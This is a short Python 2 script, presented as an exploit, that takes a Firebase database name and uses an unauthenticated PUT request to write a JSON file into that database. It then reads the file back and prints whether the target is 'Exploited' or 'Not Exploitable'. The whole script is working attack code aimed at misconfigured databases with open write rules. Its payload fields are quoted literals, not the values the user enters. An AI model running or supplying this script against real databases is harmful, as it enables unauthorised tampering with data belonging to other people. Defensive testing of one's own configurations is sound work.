import requests
import urllib


print ("[>] Input Data for exploit\n")
site = raw_input("[+] Enter firebase DB name : ")
file = raw_input("[+] Enter your filename    : ")
name = raw_input("[+] Enter your name        : ")
email= raw_input("[+] Enter your email       : ")
yourwebsite = raw_input("[+] Enter your Website     : ")


site_url = "https://"+site+".firebaseio.com/"+file+".json"
data = {"Exploit": "Successfull", "name": 'name', "email": 'email', "yourwebsite": 'yourwebsite'}
response = requests.put(site_url, json=data)



if response.status_code == 200:
    print ("[*] Exploited\n")
    print ("File Created: https://"+site+".firebaseio.com/"+file+".json\n")
else:
    print ("[*] Not Exploited\n")
    print ("No File Created")

print """If you get a response 'Permission Denied' with 'Successfully
Exploited' This shows Exploit is written but can't be read.
Verify by visiting the URL"""
print " "
print("[>] Response\n")
r = requests.get("https://"+site+".firebaseio.com/"+file+".json")
print r.text


if response.status_code == 200:
 print ("[>>] Successfully Exploited")
elif response.status_code == 401:
 print ("[x] Not Exploitable \n[!] Reason: All Permissions Denied")
elif response.status_code == 404:
 print ("[x] Database Not Found \n[!] Reason: Firebase Database Not Found")
else:
 print ("[x] Unknown Error \n[!] Reason: Unknown Error\n")


